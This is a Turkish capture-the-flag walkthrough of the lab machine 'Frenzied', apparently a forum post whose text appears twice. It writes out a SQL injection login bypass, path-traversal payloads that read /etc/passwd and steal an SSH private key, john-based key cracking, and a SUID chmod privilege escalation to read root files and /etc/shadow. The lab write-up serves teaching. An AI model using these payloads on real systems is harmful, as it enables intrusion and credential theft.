Merhabalar, bugün sizlerle Frenzied makinesinin çözümüne bakacağız.
Makineyi tanımak adına ilk başta nmap taraması başlatıyorum:
5000 portu üzerinde HTTP servisi açık olduğunu gözlemliyoruz. Şimdi 5000. portu ziyaret edelim.
Bir hackertyper sayfası karşımıza çıkıyor. Daha fazla bilgi edinmek için path taraması başlatıyoruz:
İki adet adres karşımıza çıkıyor. Adreslere baktığımızda, sonunda giriş (login) yapmak zorunda olduğumuzu görüyoruz. Bu yüzden /login path'ine gidiyoruz.
Login olmak için elimde bir bilgi olmadığı için SQL injection ile giriş yapmayı deniyorum:
Gördüğünüz üzere giriş yapabildik. Giriş yaptıktan sonra elimizde birçok fotoğrafın bulunduğu bir albüm var. Sitenin kaynak kodlarına baktığımızda, yorum satırı içinde eski bir endpoint olduğunu fark ediyoruz.
Burada önemli iki nokta var:
Bu istek bize bir ses dosyası verdi.
Bu komutu yazdığımızda, ses dosyasının en altında "HiddenWave" yazdığını gözlemliyoruz. İnternette "HiddenWave" arattığımızda bir GitHub projesine ulaşıyoruz. Projeyi indirip ses dosyasındaki saklanmış metni ortaya çıkarıyoruz:
Şifreyi elde ettik. Şimdi bulduğumuz şifreyle tekrar endpointi deneyelim:
Ancak Case not found hatası aldık. Bu durumda aklıma ilk olarak LFI (Local File Inclusion) denemesi geliyor ve aşağıdaki payload'ı kullanıyorum:
Gördüğünüz üzere, passwd dosyasını okuyabiliyoruz. LFI saldırısını RCE'ye (Remote Code Execution) çevirmek için birçok yöntem var, ancak burada ihtiyacımız olan şey .ssh dizinindeki id_rsa anahtarını çalmak. Bunun için:
id_rsa anahtarını ele geçirdik. Şimdi bu anahtarın şifresini kıracağız, ardından izinleri ayarlayıp bağlanacağız:
Şifreyi kırdık ve izinleri ayarladık. Artık bağlantı kurabiliriz:
Bağlandık. home dizini altından user flag'i okuyoruz.
Yetki yükseltmek için bu sefer LinPEAS kullanıyorum. LinPEAS ile sistemi taradığımda, /usr/local/bin/chmod programına SUID biti ayarlandığını görüyorum. Bu durumu GTFOBins ile sömürmeyi kontrol ediyorum.
Aşağıdaki komutları kullanarak istediğimiz dosyayı okuyabiliriz:
Kısa yol: Doğrudan LFILE=/root/ dizinini eklerseniz klasör içeriğini okuyabilirsiniz.
Uzun yol: chmod ile chown bitlerini ayarlayıp, /etc/shadow dosyasının sahipliğini kendimize alabiliriz. Bu sayede root şifresini istediğimiz bir şifreyle değiştirip root olabiliriz.
Aşağıda iki farklı yöntemle root flag gösterilmiştir.
Umarım makineyi keyifle çözersiniz.
Saygılarımla,
Mel4mi
Makineyi tanımak adına ilk başta nmap taraması başlatıyorum:
Bash:
nmap -A -F 192.168.1.108
5000 portu üzerinde HTTP servisi açık olduğunu gözlemliyoruz. Şimdi 5000. portu ziyaret edelim.
Bir hackertyper sayfası karşımıza çıkıyor. Daha fazla bilgi edinmek için path taraması başlatıyoruz:
Bash:
dirsearch -u http://192.168.1.108:5000/
İki adet adres karşımıza çıkıyor. Adreslere baktığımızda, sonunda giriş (login) yapmak zorunda olduğumuzu görüyoruz. Bu yüzden /login path'ine gidiyoruz.
Login olmak için elimde bir bilgi olmadığı için SQL injection ile giriş yapmayı deniyorum:
SQL:
admin' OR 1=1 -- -
Gördüğünüz üzere giriş yapabildik. Giriş yaptıktan sonra elimizde birçok fotoğrafın bulunduğu bir albüm var. Sitenin kaynak kodlarına baktığımızda, yorum satırı içinde eski bir endpoint olduğunu fark ediyoruz.
Burada önemli iki nokta var:
- GET isteğiyle /get_case?case="bir şeyler bir şeyler"&password="bir şeyler bir şeyler" adresine istek atılabiliyor.
- Başlangıç için case'in "FirstStep" olduğu belirtilmiş.
Kod:
http://192.168.1.108:5000/get_case=FirstStep
Bu istek bize bir ses dosyası verdi.
Bash:
strings output.wav | tail
Bu komutu yazdığımızda, ses dosyasının en altında "HiddenWave" yazdığını gözlemliyoruz. İnternette "HiddenWave" arattığımızda bir GitHub projesine ulaşıyoruz. Projeyi indirip ses dosyasındaki saklanmış metni ortaya çıkarıyoruz:
Bash:
python3 ExWave.py -f output.wav
Şifreyi elde ettik. Şimdi bulduğumuz şifreyle tekrar endpointi deneyelim:
Bash:
curl http://192.168.1.108:5000/get_case=FirstStep&password=thispasswordismylittlesecret
Ancak Case not found hatası aldık. Bu durumda aklıma ilk olarak LFI (Local File Inclusion) denemesi geliyor ve aşağıdaki payload'ı kullanıyorum:
Bash:
curl http://192.168.1.108:5000/get_case=../../../../../../../../../../../../etc/passwd&password=thispasswordismylittlesecret
Gördüğünüz üzere, passwd dosyasını okuyabiliyoruz. LFI saldırısını RCE'ye (Remote Code Execution) çevirmek için birçok yöntem var, ancak burada ihtiyacımız olan şey .ssh dizinindeki id_rsa anahtarını çalmak. Bunun için:
Bash:
curl http://192.168.1.108:5000/get_case=../../../../../../../../../../../home/frenzied_flame/.ssh/id_rsa&password=thispasswordismylittlesecret<br>
id_rsa anahtarını ele geçirdik. Şimdi bu anahtarın şifresini kıracağız, ardından izinleri ayarlayıp bağlanacağız:
Kod:
ssh2john id_rsa > hash.txt #id_rsa dan hash elde etmek
john --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt #elde ettigimiz hashi kirmak
chmod 600 id_rsa #id_rsa keyine gerekli yetkileri vermek
Şifreyi kırdık ve izinleri ayarladık. Artık bağlantı kurabiliriz:
Bash:
ssh -i id_rsa [email protected]
Bağlandık. home dizini altından user flag'i okuyoruz.
Yetki yükseltmek için bu sefer LinPEAS kullanıyorum. LinPEAS ile sistemi taradığımda, /usr/local/bin/chmod programına SUID biti ayarlandığını görüyorum. Bu durumu GTFOBins ile sömürmeyi kontrol ediyorum.
Aşağıdaki komutları kullanarak istediğimiz dosyayı okuyabiliriz:
Kod:
LFILE=okunacak_dosya
/usr/local/bin/chmod 6777 $LFILE
Kısa yol: Doğrudan LFILE=/root/ dizinini eklerseniz klasör içeriğini okuyabilirsiniz.
Uzun yol: chmod ile chown bitlerini ayarlayıp, /etc/shadow dosyasının sahipliğini kendimize alabiliriz. Bu sayede root şifresini istediğimiz bir şifreyle değiştirip root olabiliriz.
Aşağıda iki farklı yöntemle root flag gösterilmiştir.
Umarım makineyi keyifle çözersiniz.
Saygılarımla,
Mel4mi